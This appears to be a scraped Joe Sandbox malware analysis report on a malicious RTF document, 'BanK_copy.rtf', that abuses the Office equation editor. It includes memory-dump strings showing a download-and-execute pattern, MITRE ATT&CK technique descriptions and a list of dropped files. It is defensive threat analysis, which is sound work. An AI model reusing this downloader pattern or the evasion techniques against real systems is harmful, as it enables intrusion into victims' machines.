l, xrefs: 0063356A
\, xrefs: 006337A9
n, xrefs: 006334ED

Memory Dump Source

Source File: 00000002.00000002.353713322.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0060F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_60f000_EQNEDT32.jbxd

Similarity

API ID: DownloadFileProcessTerminate
String ID: 2$3$GetTempPathA$LdrL$S$ShellExecuteAGetTempPathA$U$URLDownloadToFileAntTerminateProcessShellExecuteAGetTempPathA$\$d$d$http://$l$l$l$l$l$ll$n$o$oadD$r
API String ID: 322163790-1221194818
Opcode ID: 83031c7563a808ff78a7c2d76d1210bee60d713eaf1440e7d9e10c4ac2eeb5b0
Instruction ID: c0800550f89a6d3816eaf6bc36d95306bd5f34d139b59d98ebb5f366dbd39a95
Opcode Fuzzy Hash: 83031c7563a808ff78a7c2d76d1210bee60d713eaf1440e7d9e10c4ac2eeb5b0
Instruction Fuzzy Hash: D5B16EB1D003689EEB21CF948C85BEEB7BABF04700F14419DE549AB281D7B45B88CF95

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BanK_copy.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F716C884.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9FBBBB44-95CC-4C6B-89F7-37B5823A8071}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF7E4703-A2BF-4F3E-9CD4-43E942A9A7E8}.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\BanK_copy.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$nK_copy.rtf

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
BanK_copy.rtf

Function 00633494 Relevance: 42.3, APIs: 2, Strings: 22, Instructions: 284
filenativenetworkCOMMON